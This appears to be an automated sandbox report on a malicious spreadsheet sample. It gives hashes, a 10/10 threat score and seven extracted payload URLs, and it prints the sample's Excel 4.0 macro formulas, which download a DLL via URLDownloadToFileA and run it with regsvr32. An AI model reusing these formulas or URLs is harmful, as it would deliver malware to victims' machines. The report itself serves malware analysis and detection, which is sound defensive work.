General
-
Target
b583800cd5e6338eef6736009494c549c0c4e74fa230dd79b9b0533ef0ec80a5
-
Size
73KB
-
Sample
241119-w5l38azhnq
-
MD5
99e965dd69fa2baf8086de4be2d98e77
-
SHA1
7aee51c72da47a293ce59a85b86f4110fedc8181
-
SHA256
b583800cd5e6338eef6736009494c549c0c4e74fa230dd79b9b0533ef0ec80a5
-
SHA512
4a5a3a17a1613a8d115ba064eb19713a216c0235ced1d5eec785f6bf7803180e1bad192fbcd4791dda74fdacac150fb8bad130e635cb53a374002bbacca14c9e
-
SSDEEP
1536:S41yiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV4XG:x1yiCtzSmICpH7OZuvZGsMX
Malware Config
Extracted
https://appleinfoway.com/venv/5Pp/
http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/
http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/
http://atters.net/cgi-bin/0yIPlpXo3156/
http://www.andrarose.com/wp-admin/9NE3hpWhdggun0YLeQ0/
http://ara-choob.com/data1/yPQ8/
http://asyadegirmen.com/Template/aweTuOE/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appleinfoway.com/venv/5Pp/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atters.net/cgi-bin/0yIPlpXo3156/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.andrarose.com/wp-admin/9NE3hpWhdggun0YLeQ0/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ara-choob.com/data1/yPQ8/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asyadegirmen.com/Template/aweTuOE/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Extracted
https://appleinfoway.com/venv/5Pp/
http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/
http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/
http://atters.net/cgi-bin/0yIPlpXo3156/
Targets
-
-
Target
b583800cd5e6338eef6736009494c549c0c4e74fa230dd79b9b0533ef0ec80a5
-
Size
73KB
-
MD5
99e965dd69fa2baf8086de4be2d98e77
-
SHA1
7aee51c72da47a293ce59a85b86f4110fedc8181
-
SHA256
b583800cd5e6338eef6736009494c549c0c4e74fa230dd79b9b0533ef0ec80a5
-
SHA512
4a5a3a17a1613a8d115ba064eb19713a216c0235ced1d5eec785f6bf7803180e1bad192fbcd4791dda74fdacac150fb8bad130e635cb53a374002bbacca14c9e
-
SSDEEP
1536:S41yiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV4XG:x1yiCtzSmICpH7OZuvZGsMX
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-